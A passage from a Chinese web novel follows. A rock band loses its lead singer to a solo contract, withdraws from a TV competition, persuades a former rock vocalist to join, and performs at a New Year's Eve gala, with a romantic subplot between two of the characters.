退赛只是让他们少了一部分可能有的收益,但主唱退队,几乎是可以毁掉这支乐队的。 他陷入混乱,“因为退赛吗?可你不就是因为总是碰到选秀黑幕,所以才心灰意冷的吗?难道我们现在要跟他们狼狈为奸吗?” 高若涵有些语无伦次,“对,勿凡姐,我们、我们可以再商量商量。” “你们以为我是用退队来威胁你们?”徐勿凡摇着头笑了一声,“如果我想用这件事来逼你们,那我在投票前就会说了,刚才的那次投票……” 只是她留给自己的最后一次考虑机会。 早知道这群人会怎么选,但还是抱着一丝侥幸,假如他们做出了与往日不同的选择,那她也就试着,去例外一次。 但果然,他们还是他们,她也还是她。 “就算你们现在选择继续参赛,我也会退出队伍的,”徐勿凡的声音低得几乎像是一种叹息,“也许只是把这一天变得更早了一点。” “退队声明你们怎么写都好,我……抱歉,我先走了。” 她说完,垂着头没有看他们,径自出了门。 林珩愣了一下,立刻追了上去,唐湾和高若涵也紧随其后。 “徐勿凡!” 走廊里,林珩一把拽住徐勿凡的手腕,“不是,为什么突然要退队?有什么事情我们还可以再商量,你不能一点准备的余地都不给我吧?” “突然吗?”徐勿凡望着追出来的唐湾和高若涵,又望向寂静的包房门口,低不可闻地笑了一声,“该发现的人,也早都发现了。” 林珩简直不明白她在说什么。 徐勿凡点开手机,将微信界面展示给他看,平静地看着他的眼睛,“上一次比赛结束后,我去见的不是家人,我早都没有家人了。” 手机上赫然是—— 【徐小姐,你的嗓音真的很有魅力,但放在乐队里,你的每一个队友都在分走属于你的镜头,最后你能得到什么?几百人的livehouse、几千人的音乐节?不觉得太浪费了吗?】 【我们会安排顶尖的制作人为你量身写歌,歌手和乐队的上限根本不是一个量级的东西,你的名字会火遍大街小巷的。】 【徐小姐,请好好考虑一下我们的提议吧。】 林珩的目光死死凝在微信界面的时间上,那是上次庆功宴的晚上。 他身后的唐湾和高若涵,也都被定在了原地。 徐勿凡默默收回手机,转身离开前,低声道:“我们本来就不一样,所以你们就尽情,讨厌我吧。” 包房内,郁思弦坐到陆照霜身边,轻轻拍了拍她的脊背,无声地叹了口气。 陆照霜双肘撑在桌上,捂着脸,无法自抑地想起那天徐勿凡仓促按下手机的动作,想起徐勿凡在宴会厅灯光下恳切的目光。 她到底还是没能留住她。 * 萧烨宿醉一夜的大脑还在疼,就被一阵接连不断的电话声吵醒。 萧父严厉的声音从话筒里传来,“你现在是不是在湘城?” 萧烨还有些昏沉,“怎么了?” 萧父冷笑了一声,“陆照霜刚才把电话打到家里来,说让我和你妈好好管教你,别再去骚扰她了,丢人丢到这份上,还不赶紧给我滚回来?” 萧烨瞬间清醒,被酒精短暂封存的记忆重回大脑,带他回到昨天晚上,“她真的……这么说吗?” “你给我醒醒脑子!”萧父骂了一声,“没想到她是这种人,也对,有什么样的妈就有什么样的女儿。” 萧烨脑子忽然像被针扎了一样,“什么叫这种人?” 萧父嗤笑一声,仿佛那是一个不言自明的答案,“你们离了也是好事,我可不想被牵扯进去,看到你的名字也跟着挂在热搜上,总之你马上给我回来,别再跟那种人搅和在一起。” 电话被挂断。 萧烨怔怔地捏着手机,他和陆照霜因为“这种人”吵起来的那些日子还历历在目,但直到现在,他好像才明白,她究竟在跟他生什么气。 他又想起刚才父亲说的话,迅速点开微博,就看到《乐队人》和逃出人间的词条挂满了热搜。 排在最前面的赫然是“逃出人间退赛”、“逃出人间主唱单飞”。 他简直没法相信自己的眼睛,但点进去,映入眼帘的第一条,就是他们官号发的声明。 评论区已经吵得沸反盈天,各种猜测满天飞。 “卧槽,我才刚被上一期吸粉,怎么就退赛了?是因为主唱单飞了所以退赛了吗?” “我这一早上真是,先刷到潮湿苔藓补位,大喜!又看到逃出人间解散,大悲!” “瞎说什么呢?怎么就解散了?不就是主唱走了吗?” “笑死,主唱都没了,跟解散有多大区别吗?” 萧烨手脚冰凉一片,慌忙给陆照霜打电话,却打不通,去微信发消息,跳出红点的时候才明白自己被拉黑了。 他顾不得对此做出反应,匆匆换了身衣服,奔出门,跟工作人员借了电话又打过去。 这次终于接通,陆照霜的声音甚至堪称平静,“喂,哪位?” “是我,阿霜。” 那边没作声,萧烨心知她肯定又要挂电话了,立刻道:“阿霜,是因为我吗?” 静了好一会儿,那头才重新响起她的声音,“你既然自己也清楚,那就该知道我现在有多烦你的声音,别再联系我了。” “阿霜,对不起,这是我的错,给我一个补救的机会。” 陆照霜沉默片刻才道:“你去对被你拉下水的评委和乐队负责吧,至于我们的事……你从来都只会给我添乱。” 萧烨深吸了口气,“阿霜,我们见一面再——” 陆照霜蓦然打断他,“我们已经在回申城的路上了。” 萧烨愣了一愣。 “我们退赛是因为不愿意沾上这种事情,但错不是我们犯下的,萧烨,我真的受够你了,更没义务陪你一起补救。” 陆照霜挂断电话,重新回到他们租的车上。 随着唐湾把最后一只箱子塞进后备箱,林珩终于发动了车子,苦中作乐地笑道:“真新鲜,我们来的时候还能坐高铁,回去就得自个当苦力了。” 高若涵给他匆匆展示了一眼今天的热搜,玩笑般说:“没办法,谁让我们是今天的顶流呢,林珩哥,你也不想被人堵住问东问西吧?” 没人表现出异样,就好像昨晚那场退队风波不存在似的,大家默契地把所有情绪都藏了起来,竭力保持正常。 高若涵刷着微博,硬是被气笑了,“你们知道我们因为这个热搜,今天涨了多少粉吗?比节目播出的时候涨得都快,私信都被塞爆了,全是问我们为什么退赛、主唱为什么走的,甚至还有纪念我们的!人血馒头很好吃是吧?” 她呵呵笑了两声,吐槽力大爆发,“真是人还没死呢,哭丧的就已经到位了。” 林珩倒是淡定,“都是来看热闹的,等过一阵发现我们没瓜可吃,就会把我们忘掉了。” 陆照霜本来靠在后排闭目养神,听到这句话,耳尖忽然动了一下,若有所思地坐起身,“那从另一个角度讲,我们是不是也能在他们忘掉我们之前,把他们转化成真的歌迷呢?” 高若涵懵了一下,看着手里刷新一次、就往上跳动一截的数据,吞了下口水,竭力保持着理智,“娱乐圈每天都有新瓜,我们今天这样是因为好多事情一起爆了,而且《乐队人》正在热播,以后我们这种小乐队,几乎不可能有这种曝光度了。” 毕竟,她在心里默默想,乐队和歌手是差着量级的。 唐湾坐直了身体,打开手机,看着微博和日历,大脑飞速转动,“再有一个多月就是年末了,到时候《乐队人》还没播完、这波关注度也不至于散完,各大卫视的跨年晚会,应该会对我们的话题度感兴趣吧?” 高若涵“卧槽”了一声,前几个月他们还在酒吧里苦哈哈演出呢,现在都敢肖想跨年晚会这种东西了吗? 但看着手机,她又觉得,好像也不是没有可能,毕竟,各大卫视年年跨年都跟扯头花一样疯狂搞话题,最爱蹭热点了。 林珩见他们越说越离谱了,给他们浇了盆冷水,“喂喂喂,你们是不是忘了我们现在连主唱都没有?咱们四个加起来有一个能当主唱的吗?” 徐勿凡全靠自学成材,技巧不算成熟,但她的嗓音和她本人的气质,都太有辨识度了,这也是她会被人一眼看上挖走的原因。 他们短期内,上哪找可以代替徐勿凡的主唱? 陆照霜和唐湾对视了一眼,而后慢吞吞地道:“是很难,但不是没有可能,以我们现在的这个关注度,想来加入我们的人,恐怕不会少吧?” 林珩一脚踩下刹车,在路边停下。 几个人面面相觑,都从彼此眼里,看到了柳暗花明又一村的意思。 * 回到申城以后,大家各自发挥所长,唐湾和高若涵整理数据和报告,主动联系各家电视台寻求合作的机会,很快就带来了捷报。 “这三家电视台愿意给我们这个机会,”唐湾在笔记本上把名字勾出来,“但是时间有限,最晚的一家也只能等到12月初,我们得在那之前给他们展示我们有出场的资格,毕竟他们要提前确定最后的名单。” 陆照霜抱住脑袋,看着自己平板里密密麻麻演唱视频,长长叹了口气,“12月初啊。” 她和林珩负责面试主唱,但进展并不顺利。 意向者确实很多,但他们乐队本身已经形成自己的特色了,如果新主唱不能适应他们,或是拥有不同于徐勿凡的特色,那他们这次重组就是完全失败。 林珩咬了咬牙,看向唐湾和高若涵,“抱歉,老唐、小高,如果我们找不到合适的主唱,恐怕你们两就白忙这么久了,我不想为了赶这个时限,随便找人凑合,那就又背离初衷了。” “没关系,我们尽人事听天命就可以了,”高若涵倒是很看得开,“我现在也觉得……组乐队这么长久的事情,合拍真的很重要。” 整间练习室的氛围因为这句话而略微低沉。 唐湾忙笑了笑,插话道:“我和小高现在也没事了,来帮你们一起看吧。” 大家互相鼓劲,又重新振作起来。 然而距离最后期限还差三天的时候,他们都有些泄气,这会儿就算面到一个合适的,恐怕也来不及跟他们磨合了。 虽然还没放弃,但高若涵已经遗憾地对自己的手机微博说了声拜拜。 十一月末,申城下起了初雪。 他们如同当初那句戏言,真的看到了两次初雪,尽管是以谁都没想到的方式。 陆照霜出去透口气,顺便给大家买咖啡。 她还记得当时跟郁思弦说,等比赛录完,就偷溜出去约会,谁能想到会发生那种事?人果然不能立flag啊。 正在这时,兜里手机振动,她掏出来一看,是郁思弦的来电,仿佛心有灵犀一般。 她忙着面试主唱,郁思弦忙着在湘城收拾烂摊子,他们也好一阵没见面了。 陆照霜嘴角不自觉地扬起,接通电话后,故作神秘道:“思弦,你猜我现在在看什么?” “初雪。” 陆照霜被抢了词,顿时噎住,“你……就不能配合一下?” 郁思弦声音里还带着笑,“阿照,可我每天都会看申城的天气预报。” 他人在湘城,有什么必要天天看申城的天气? 这个人,真的是太会不经意给她塞这种隐晦的情话了! 但她为什么能一下子就听懂他的言下之意呢?那当然是因为—— “我也有在看湘城的天气预报。”她小声说。 “嗯?你说什么?我好像没有听清?” 他绝对听清了! “哦,那就当我什么都没说。”陆照霜把围巾拉高,遮住自己微微泛红的脸颊,在电话里说这种话,比当着他的面还不好意思。 郁思弦笑了笑,也不再逗她了,问起正事,“还在忙着找主唱吗?” 陆照霜叹出口白气,“想在这么短时间找到可以代替徐勿凡的人,果然还是太贪心了,但没关系,断断续续给我们投简历的人这么多,慢慢来总会找到的。” 只是会错过这次机会而已。 但毕竟是大风刮来的热度,得之我幸失之我命,也没必要太过纠结了。 “既然你们还没有找到的话……”郁思弦微微沉吟,“我有一个人选,你们或许可以见见。” 63/ 第63章 ◎在乎的人总会记得◎ 陆照霜随口道:“好啊,那你把TA的资料发给我看看。” 郁思弦:“那个人恐怕得你亲自去江城见见,我说了不算数,她未必肯来。” 陆照霜愣了愣,这个节骨眼上,去江城跑一趟吗? 她指尖无意识地在手机背面轻点了两下,思忖片刻,“好。” 郁思弦又笑了,“不怕我让你白跑一趟?” 陆照霜已经放弃了去咖啡厅,朝练习室折身,“我相信你的耳力,最开始不就是你把我拉进逃出人间的吗?” “阿照……”郁思弦在听筒里落下一声几近无可奈何的叹息,“希望你不会失望。” “难道我对你失望过吗?” “没有,”郁思弦佯叹了口气,“毕竟你对我的期待,好像是活着就行。” 陆照霜嘴角微弯,却又很快因为想起什么,而重新抿了下去,“不对,是有一件事的。” “嗯?”郁思弦语气微微凝滞。 “你要么自己想想呢?”陆照霜循循善诱,“我总觉这件事,比起我告诉你,还是你自己想清楚更好一点。” * 抱着对郁思弦的信任,陆照霜和逃出人间当天就飞去了江城,按着郁思弦发来的地址,找到了江城CBD里的一家声乐兴趣班。 四人还未走近,就被里面传出的一个女声吸引了注意。 女人唱的是《送别》,声音里带着一种细细的沙哑,却并不会让人觉得不适,反而充满了娓娓道来的故事感,深而厚重的情感渗透在她的每一个吐字里,后半段经过她的个人改编,在外行人听来或许只觉得好听,但内行人一听知道那其中蕴含了多少技巧,又圆融到什么程度。 “卧槽!”林珩三人耳朵一下子就竖起来了。 陆照霜瞳孔微微一凝,这个声音,不会是…… 她脚步下意识加快,透过玻璃门,看到里面正在给小朋友做示范的女人。 她扎着低马尾,身上穿着黑色的棉绒长裙,看上去是再温婉不过的老师形象。 果不其然,是许默。 陆照霜目光紧紧停在许默身上,简直要抑制不住自己的心跳,郁思弦说的那个人选,竟然会是许默。 从十四岁在livehouse下面仰望着许默的那天开始,许默就一直是她心里有关乐队和自由的象征,主唱和观众、台上与台下,泾渭分明。 即便陆照霜开始搞乐队,也从未思考过和许默同台这种事。 但仔细想想,真的不可能吗? 林珩等人也已经走到了她身边,没敢打扰许默上课,就站外面旁听,越听越震惊。 高若涵咽了咽口水,小声道:“她就是思弦哥想给我们介绍的人吗?也太厉害了吧。” 这水平,和他们面试的那些人根本不能同日而语。 林珩眼神明显有些意动,却仍有疑虑,“厉害是厉害,但我们毕竟是摇滚乐队,她能适应我们的风格吗?” “……”陆照霜的目光终于舍得从许默身上移开,一寸寸停在林珩脸上,呵呵笑了一声。 她头一次感受到在关公面前耍大刀的荒谬感,人家搞摇滚乐的时候,他还是个扯着公鸭嗓的青春期小屁孩呢。 “麻烦叫人家前辈!”陆照霜翻出珍藏的偶像视频,没好气地把手机展示给林珩看。 唐湾和高若涵也跟着搜出视频,掏出了耳机连上,然后被十二年前、在舞台上尽情蹦跳嘶吼的女孩震得一愣一愣的。 他们看看手机,又看看教室里温婉和气的女人,简直不敢相信,这是同一个人。 林珩抿住唇,双手捂住耳朵,排除杂音,仔细听着耳机里的声音。 二十岁的许默声音要比现在更叛逆更张扬,现在她的声音没有了当年的直白和锋利,多了层次和深度,她有意识地在用技巧保护嗓子。 女歌手嗓音机能的巅峰期一般在二十到四十之间,但人又不是过了四十岁就不活了,在那之后想长久地走下去,最重要的就是艺术表达和技巧,而这些许默都有。 林珩的呼吸渐渐变得炙热起来。 陆照霜看着他们的眼神,知道大家这都是动心了,接下来就得看许默的意思了。 但她想起上次在搁浅看演出时许默的样子,心里隐隐有种不妙的预感。 两个小时的课程结束,许默把小朋友们送走,然后望向走廊里的这四个人,不由苦笑了一下,“没想到郁先生说要来的人会是你们,这还真的是……一件麻烦事啊。” 林珩愣了下,“你认识我们?” 许默笑了笑,准确叫出他们的队名,“逃出人间,你们的新闻都火到这种程度了,我怎么可能认不出来?怎么说我也搞过乐队。” 没必要再互相介绍了,许默从看到他们的第一眼,就猜到,他们在这种时候找上她的理由。 林珩:“许小姐,那——” “抱歉,”许默直接打断了他,“恕我没法答应。” 这种话都还没张口,就已经被拒的状况,林珩还是第一次经历,不免呆了下。 “我很同情你的遭遇,但我帮不到你们,你们还是去找别人吧。”许默抱歉地朝他们笑了笑,就准备合上教室的门。 陆照霜眼疾手快,上前一步握住门把手,拦住她的动作,“许小姐,你真的不再考虑一下吗?上次在搁浅的时候,我看过你的演出,你对舞台不是没有留恋。” 许默眼中闪过一丝意外。 “还是说你不喜欢我们?”陆照霜绞尽脑汁地思考,“虽然编曲风格有区别,但我们和繁星之后的内核,难道不是很相似吗?” 许默看着面前连珠炮一样想劝住她的女孩,不知道对方为什么对自己这么执着,她无可奈何地一笑,“是很相似,所以我从《乐队人》第一期就在关注你们了,作为观众,我一直都很支持你们。” 林珩迷茫了,“那为什么?” 许默静了静,抬眼看向他们,“我已经33岁了,玩乐队不是我这个年纪该考虑的事情了,以你们的条件,一定能找到比我更好、更年轻的主唱。” 这个出乎意料的理由,让陆照霜和林珩都愣了一下。 但一直没吭声的唐湾却突然笑了一声。 “许小姐,我都36岁了,你要这么说的话,我现在就该退出乐队了。” 许默怔了怔。 唐湾又道:“你知道我是多少岁加入他们的吗?” 许默的目光下意识从陆照霜林珩脸上扫过,最后停在年纪最小的高若涵脸上,她这才意识到,面前这支乐队的年龄差距有多大,他们只可能是近几年才组起来的。 唐湾也没有再卖关子,“33岁。” 恰好是她现在的年纪。 “二十多岁组乐队当然好,但我当时没那个勇气,我觉得我这个长相、这种水平,不可能靠乐队活下去,”唐湾自嘲般笑了一下,“然后一眨眼,我就33岁了,我开始后悔了,就算了晚了点又怎么样,至少我不想在43岁的时候,后悔我33岁的时候什么都没做。许小姐,你呢?你甘心吗?” 许默睫毛微微颤动了一下。 陆照霜和队友们对视了一眼,有戏! “我……”许默深吸了一口气,再抬起头时,眼里虽有遗憾,却也坚决,“是繁星之后改变了我的人生,我永远都会是繁星之后的主唱。” 陆照霜心里一沉,那个预感果然成真了。 许默这边最大的问题,就是她真的把繁星之后视若珍宝。 “所以很抱——” “许默。”陆照霜冷静地打断她。 许默敏锐地察觉,女孩眼里的恳求消失了,反而蕴起了一种隐晦的攻击性。 “你把繁星之后看得很重要,但你们队的其他人呢?《昨日已逝》是你们的成名作,但上次在搁浅,他们没有一个人能记住《昨日已逝》的谱子。” 许默安静了一会儿,笑了笑,“都过去这么多年了,记不清不是很正常吗?” “但你记得,在乎的人总会记得,”陆照霜回过头,望向自己的队友,“你们会忘掉《假面》吗?” 三个人几乎是条件反射般同时反驳:“怎么可能?” 许默抓着门把手的手指瞬间紧到发白。 陆照霜没有错过她的反应,像推倒多米诺骨牌一样,盯着她的眼睛,一字字道:“许默,《昨日已逝》的歌词是你写的,‘你成了我终将逝去的昨日’。对你来说,昨天和明天,哪一个更重要?” 许默心里仿佛听见“哗啦”一声,河堤倾倒。 …… 许默推开刚刚租好的练习室,示意陆照霜四人走进来,“稍等我一下,我再记一下歌词,马上就好。” 高若涵生怕他们好不容易劝来的人又跑了,连忙道:“许默姐,你没必要现在就唱给我们听,我们都相信你的水平!” 许默拧了下眉,“既然要组乐队,那我们都要慎重选择,我不希望再随便解散了。” 高若涵仿佛见到了高中班主任,不敢再说话了。 林珩倒是眼前一亮,“正好,我也这么想。” 两人一拍即合,五分钟后,许默便放下手机,清唱了一遍《逃出人间》。 这首歌能拿下那么高分,乐器组带来的史诗感功不可没,现在没有任何伴奏,许默却靠着自己的声音和共鸣,赋予了这首歌丰富的层次和厚度。 那是区别于徐勿凡的风格,一种强大的力量感。 听着她的声音,陆照霜会想起当时杰奎琳用过的那个形容,弹簧被压到最低的时候最有力。 这甚至还只是她第一次唱而已。 陆照霜立刻看*向队友们,之前险些熄灭的火苗,在他们眼里重新燃起。 三天,对许默来说,好像真的够了。 重组后的逃出人间在江城紧急排练了三天,赶在最后一家电视台截止前,将视频发过去,成功通过了导演组的验收。 几人这才回到申城,开始仔细打磨,务求在跨年晚会录制前呈现出最好的效果,这种紧凑的排练直到临出发前两天的晚上才停下。 高若涵活动了一下身体,拎起背包,熟稔地去挽陆照霜的胳膊,“照霜姐,我们回去吧。” 陆照霜条件反射般摁灭手机,抱歉地笑了下,“不好意思啊小高,朋友约我见一面,我今天不能送你了。” 高若涵忙摆摆手,“没事,照霜姐你去忙吧。” “小高,那你跟我一起打车回去吧。”许默提议。 高若涵眼前一亮,像只兔子一样蹦过去,“好呀好呀。” 见高若涵有了安排,陆照霜便放下心,背上自己的背包,跟大家告辞,没有发现,林珩的视线在她身上多停了几秒。 车子一路驶到了搁浅附近,她下了车,路边的红色雨蓬里还亮着昏黄的灯,隐隐绰绰透出稀疏的几个影子,烧烤的香料气从缝隙里钻出来。 陆照霜撩开帘子走进去,一眼捕捉到熟悉的人影。 她深吸了一口气,才走过去,在那人对面坐下。 “你来了?”那人单手支着下巴,歪头朝她看过来。 陆照霜深深地看向她,“好久不见,徐勿凡。” 64/ 第64章 ◎用吻填满全部空隙◎ 距离上次在湘城分开,已经过了一个多月,徐勿凡的皮肤状态比从前好了太多,应该是公司安排她做了皮肤管理,但神态却似乎比以前在搁浅时还要更倦一点。 陆照霜忍不住伸手去夺她的酒杯,“要做歌手的人,烟和酒都少碰点吧。” 徐勿凡在她堪堪要碰到的那一瞬,握着酒杯的手向后一撤,悬在桌面外,似笑非笑地看着她,“我的人生本来就没什么爱好了,别连这点消遣都不让我做吧?” 陆照霜疑惑,“唱歌不是你的爱好吗?” 徐勿凡没有经过任何老师指导,纯靠着网上宽泛的教学视频,把自己的歌声磨炼到现在的程度,她花费的精力是难以估量的。 如果不是因为热爱,陆照霜很难想象这要怎么坚持下来。 徐勿凡微微垂下眼睫,“不是,只是一种方式,一种让我……能与众不同的方式。” 陆照霜的手慢慢收了回去,静静等着徐勿凡继续说下去。 “陆照霜,我不知道你的过去是什么颜色,但对我来说,”徐勿凡顿了顿,才道:“只有灰色。” “我们为了躲债,总是趁天还没亮偷偷搬家,一直换地方,我妈甚至没给我买过浅色的衣服,毕竟不耐脏、不划算。” 徐勿凡把那杯酒喝下去,自嘲般笑了笑,“长得漂亮有什么用?人站在阴影里的时候,再漂亮也不会有人看到。” 最安稳的那几年,她经常一放学就得去帮妈妈在街头摆摊,附近的店主总是用电视机看素人选秀节目,她也会偷偷跟着一起看。 那时候的选秀节目,还没有变成包装精美的伊甸园,上台的选手穿着灰扑扑的衣服、长相普通甚至丑陋、做着各种各样平凡而辛苦的工作,是真正的普通人。 如果在生活里碰到他们,徐勿凡压根不会记得他们,但站在舞台上就不一样了。 舞台有灯光,一个人一旦站在灯光下,就会让人铭记、让人仰望。 那些于夜晚窥视的镜头,变成了她少年时代最贪婪又最朴素的愿望,她想变成聚光灯下的人。于是在长大后,她第一时间就摆脱了父母的管束和控制,奔向了她幻想过的领域。 后面的事情徐勿凡没有再讲,陆照霜也不需要她再讲下去了。 陆照霜默默给自己倒了杯酒,仰头灌了下去,让喉口的辛辣纾解一下胸口的酸胀。 后来会发生什么再明显不过。 因为徐勿凡只是透过电视机,在迟来地凝望着一个已经过去的时代而已,她长大的同时,那个真素人可以频频出头的年代也逝去了。 徐勿凡晃动着酒杯,笑了一笑,“四年前海选没有通过的那天,如果不是林珩拉住我,我早就不会再唱歌了,但我还是随随便便就放弃了他,就跟我放弃了我爸妈一样,想知道我怎么摆脱我爸妈的吗?” 陆照霜摇了摇头。 “怕脏了你的耳朵?” “不是,”陆照霜看着徐勿凡眼里闪烁的恶意,轻声道:“因为我知道你不是随随便便放弃的,我知道……你努力过了,抱歉,是我没有留住你。” 也许是从听到那条红裙来历的时候开始,又或许是从第一次听到徐勿凡唱歌开始,她就隐隐约约明白,他们留不住徐勿凡。 但无论是每一次比赛时的认真排练,还是宴会厅里的恳求,徐勿凡都真的为了留在他们身边而努力了。 徐勿凡静了一静,别开脸,“你还真是一如既往,喜欢把别人的责任揽在自己身上。” 陆照霜回敬道:“你也一如既往,喜欢把话反着说。” 徐勿凡抿紧唇,又仰头喝了一杯酒,倏然看向她:“既然你这么喜欢猜,那你猜猜好了。听说你们找到新主唱了,希望她能比我唱得更好,希望她唱得根本比不上我,哪句是我的真心话?” 陆照霜愣了一愣。 下一秒,她微微垂下眼,“我猜都是。” 徐勿凡攥着酒杯的手指紧了紧,“所以说,我真的很讨厌你。” 她放下酒杯,站起身,跟老板结了账,淡淡看了陆照霜一眼,“我走了,之前的房子已经退了,以后没有工作,我不会再来申城了。” 随后她便转身掀开帘子出门。 陆照霜不紧不慢地跟在她身后,“徐勿凡,为什么要约在这里见面,你很怀念我们来这里聚会的那天吗?” 徐勿凡这才转过身,嗤笑了一声,“不知道你都脑补了什么,我只不过是不想请你吃太贵的而——” 最后一个“已”字,因为忽然拥住她的怀抱而卡进了喉咙里。 徐勿凡嗓音顿时有点哑,“你干嘛?我最讨厌煽情了。” 陆照霜埋头在她颈边,笑了笑,便如她所愿:“我们的新主唱很好,不管是脾气还是唱功,都比你好了不知道多少倍,现在就算你后悔了,逃出人间也没有你的位置了。” 徐勿凡身体瞬间紧绷,垂在身侧的手掌攥紧,开始推搡她的肩膀不让她抱。 但陆照霜没有松开手,拥着她的力道更紧了几分,“所以徐勿凡,别后悔、别迷茫、别愧疚,一点儿也不像你,如果那就是你宁愿离开我们也想拥有的未来,那就好好珍惜你的嗓子,在那里继续漂漂亮亮地赢下去。” 徐勿凡的手劲一松,但片刻后,就一把推开了陆照霜,“你真是矫情死了,用得着你说?” “是嘛?陆照霜摊开手朝她笑了笑。 徐勿凡整理了一下凌乱的衣服,摆了摆手转身离开。 走出两米以后,她最后回了一次头,“退队是我的选择,陪你退赛是他们的选择,都是成年人了,自己的选择自己负责,你别被你那个高到离谱的道德感压死了,没有你,我……他们本来也走不到那个位置。” 陆照霜顿了顿,朝她笑道:“你担心我啊?” 徐勿凡起了一身鸡皮疙瘩,这次是真的转身就走,再也没有回头。 陆照霜目送着徐勿凡的背影从视野里消失不见,转过身,绕了一个弯,把全身用衣服包严实、行迹鬼鬼祟祟的男人从广告牌后面揪了出来,“行了,人都走了,别藏了。” 林珩尴尬地把帽子围巾取了下来,“你怎么发现的?” 陆照霜有些无语,“这个时间一路跟着我的车就这一辆,穿成这个鬼样子更是全地球都找不出第二个。” 林珩讷讷道:“抱歉……因为她从没联系过我,所以我觉得她应该会联系你。” “只此一次,下不为例,”陆照霜板起脸警告他一声,看他确实知错了,又缓和了语气,“来都来了,为什么不出来见见?” 林珩沉默了一会儿,才道:“因为我跟你想的一样,希望她既然已经做了选择,就别再后悔她的选择。” 陆照霜心底无声地叹了口气,“你还好吗?” “嗯,”林珩微微勾起唇角,像是自嘲,“吉他手和主唱谈恋爱这么俗套的情节,果然只配得上主唱单飞这么俗套的结果。” 陆照霜嘴角微微下抿,不知道该怎么安慰他。 林珩挑起眉,拍了下她的肩膀,煞有介事地说:“失恋可是情歌的必备主题,等我回去酝酿酝酿,说不定哪天就能憋出几首情歌呢?” 说完,他已经转过身,一边往前走,一边描绘起他的情歌传遍大街小巷、被称为情歌之王的光辉未来。 陆照霜追上去,吐槽了一声,“不是,‘情歌之王’?会被骂蹭热度的吧?” 林珩“嘶”了一声,摸了摸下巴,“那要么情歌之皇?太难听了吧!” 陆照霜看着他不达眼底的浮夸笑意,知道他还没过去。 但总有一天会过去。 他们遇到一些人,失去,告别之后,又遇到新的人,他们总会再出发的。 * 12月31号,跨年晚会直播当天。 后台化妆间内众星云集,工作人员和记者把路挤得水泄不通,各种差别待遇实乃名利场的缩影。 逃出人间夹在这些大牌里面,自然分不到多少侧目,但心里反而松快不少。 没办法,这个场面对他们来说,实在有点越级挑战了。 临到上场前,陆照霜偏头看向身边的许默,“你紧张吗?” “紧张,”许默坦率承认,“但这种感觉,我都好多年没有感受过了,所以也有种越紧张、我越能发挥好的预感。” 在他们所有人里,只有许默没有对着摄像头演出的经验,但她却用这么淡定的语气,说出这么狂的话,其他人就更不可能在这时候露怯。 五个人凝视着彼此的灼灼目光,互相抵住拳头。 “拿出我们最好的状态!” “逃出人间加油!” 他们的上一位,是个今年刚出过大爆剧的爱豆,微博粉丝上千万,又唱又跳,最后一个wink成功引来了无数尖叫。 到逃出人间上场的时候,现场很多观众既不认识他们,也不关心他们,气氛就有些冷却了,毕竟差着量级呢。 也有不少《乐队人》的观众还记得他们,但此刻谈起他们,更多的也不是期待,而是疑惑和八卦。 “他们主唱才退队一个月多吧,这就找新主唱上晚会了,也太急了吧?” “对啊,这个新主唱见都没见过,能行吗?我本来挺喜欢他们的,别突然给我现个大眼!” “难怪徐勿凡要单飞呢,这么急功近利的乐队根本走不远!” 导演组和逃出人间对许默的集体保密,让观众充满了不信任。 但这种不信任感,在许默唱出第一声的时候,就已经宣告了终结。 她的声音太稳太有厚度了,让上一位爱豆的嗓音,被比得那么单薄,宛如还没度过青春期的小男孩。 “让枉然和尝试填满我怀抱, 让虚妄和求索磨穿我脚踝, 让狂热和妄想穿透我脊梁。” 这一段人声合唱经过许默的指导,更上了一层楼,与雄浑有力的器乐和声,一同组成了仿佛能穿透耳膜的恢宏宣告。 他们没有刻意去迎合观众,却用他们挥洒的汗水、全情投入的姿态,带着观众身临其境般感受了一场风暴和逃亡。 “哪怕葬我于未命名的彼方, 哪怕无名氏墓前永无鲜花, 哪怕溺死于无尽的癫狂和绝望。 这就是我的人间。 哪怕墓碑下葬着, 我的骸骨和所有正常。” 小提琴、电吉他、贝斯、鼓,全部随着最后一句歌词倏然收尾,带着一往无前的决意,回声久久回荡在体育馆内,跟着,掌声和欢呼响彻全场。 这是逃出人间曾经在《乐队人》的舞台上,几次带给过观众的震撼,今天以更强烈的形式,带给了现场和手机平板前的无数观众,他们一起见证了逃出人间的重组和新生。 “卧槽卧槽,我要知道这个乐队所有人的名字!” “我收回前言,这个新主唱太牛了吧!他们从哪找来的?我感觉比《乐队人》那一场发挥更好!” 有欢迎重组的,自然也有原教旨主义爱好者,“我还是觉得原班人马更好,呜呜呜,你们真的不能为了我复合吗?” “别做梦了,徐勿凡都在对家台的晚会出场了,复合个鬼!” 逃出人间能瞄准跨年晚会,徐勿凡签约的娱乐公司又怎么可能放过,他们在另一家电视台安排了徐勿凡出场,背后的推流也没少给。 两相叠加在一起,带动着逃出人间和徐勿凡的热度水涨船高。 陆照霜等人刚录完节目组的后采,跟着就被数不清的娱记堵住,记者们宛如嗅到了肉味的苍蝇,一个劲地把话筒怼上来,追问退赛和退队的事情,非常不友好。 逃出人间唯恐被断章取义,紧紧闭着嘴巴躲回了休息室。 关上门,高若涵一头栽倒在椅子里,心有余悸地抚着胸口,“莫非我们不该蹭这个热度的?成名了好可怕。” 林珩没好气地白她一眼,“这话你说给几个月前的你自己听,信不信能被骂一声凡尔赛?” “也是。”高若涵叹了口气,很快又开始乐滋滋地刷微博。 许默有点担心,“这样我们什么时候走得了?” 几人面面相觑,都有点不知所措。 “嗯……”陆照霜举起手机,把来电人的姓名展示给他们看,“帮忙的人应该马上就到。” 半个小时后,他们全员换上新的便服,压低羽绒服帽檐,跟着工作人员的指引,抵达了安静的地下停车场。 低调的黑色轿车降下车窗,司机抬手招呼他们进来。 林珩理所当然以为郁思弦就坐在里面,立刻兴冲冲地跑过去拉开车门,里面却空空如也,不免呆了一下。 陆照霜也跟着呆了一下。 但下一秒,她的手腕就被宽大的手掌握住。 许久不见的男声从身后响起,“在找我吗?” 陆照霜立刻转过身。 男人穿着黑色的挺括大衣,眉眼被衬得愈加英挺,即便是停车场的黯淡灯光,也没能磨去那种锋利感,细框眼镜背后的黑眸情绪翻涌,仿佛蕴着一场海潮。 陆照霜喉口微微发紧,她真的好长一段时间,没有亲眼见到他了。 “思弦!”“思弦哥!”惊喜的声音此起彼伏响起。 郁思弦的目光从陆照霜脸上抬起,跟他们几人打了声招呼,随即牵着陆照霜的手朝他们微微笑道:“不介意我们去过个跨年吧?” 正常人哪可能在这种时候当电灯泡,林珩等人立刻乖觉地爬上了车,朝他们挥手道别。 